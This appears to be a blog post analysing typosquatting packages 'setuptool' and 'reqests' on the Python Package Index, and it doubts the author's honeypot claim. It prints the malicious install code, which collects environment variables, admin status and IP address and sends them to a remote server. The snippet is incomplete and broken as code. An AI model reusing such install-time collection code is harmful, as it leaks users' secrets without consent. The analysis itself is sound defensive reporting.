Hostility in the Cheese Shop

A user on Reddit noticed an odd package in the Python Package Index, sometimes refererred to as the Cheese Shop. It's a package with the name setuptool, which a user might mistype when trying to install the popular setuptools package (note the s at the end). Instead of installing a package to help build, install and upgrade packages the user is installing a package that executes the following:

def install(name):
    installed_package = name
    installed_at = datetime.datetime.utcnow()
    host_os = platform.platform()
        admin_rights = bool(os.getuid() == 0)
    except AttributeError:
            admin_rights = bool(ctypes.windll.shell32.IsUserAnAdmin() !=    0)
            admin_rights = False

    environ = os.environ

    if sys.version_info[0] == 3:
        import urllib.request
        from urllib.parse import urlencode
        GET = urllib.request.urlopen
        import urllib2
        from urllib import urlencode
        GET = urllib2.urlopen

    ipinfo = GET('').read()

        data = {
            'ip': installed_package,
            'ia': installed_at,
            'ho': host_os,
            'ar': admin_rights,
            'env': environ,
            'ii': ipinfo
        data = urlencode(data)
        r = GET('',   data.encode('utf8')).read()
    except Exception as e:

The code determines whether the user is executing the installation as an administrator (admin_rights), which package is being installed since there are several of these hostile packages (installed_package), the environment variables (environ) and the IP address of the device (ipinfo). All the information is URL encoded and then sent to the server located at:

According to the author of the website, these hostile packages are used as honeypots. Honeypots are usually setup to capture and analyze potentially malicious activities, I'm not sure what sort of malicious intent can be deduced from mistyping a package name (maybe that's why the author is grabbing the environment variables?). And the page explaining the intent as being for honeypots was only put up after the Reddit thread blew up. If this was to catch malicious scripts that had typos in them, he wouldn't have had to fake the package author information as well. Hopefully, the person behind this project will publish his research and explain the methodology. In addition to the setuptool package, the user also has other misnamed packages floating around one of which was identified by chhantyal on Reddit. This time it's catching people that are mistyping the requests package, which is a popular alternative package for performing HTTP requests. If a user types reqests instead of the real name, they get a similar script as above which you can download here since the affected packages have already been taken down.

The Python Cheese Shop doesn't ensure the packages are safe and doesn't have any safeguards against potential typosquatting. It would be interesting to see whether other package repositories for NodeJS or Ruby have also experienced typosquatting, if anybody reading this is aware of something please let me know! And if you're using Python, you should be using a virtual environment to make sure no malicious code will run with administrative rights.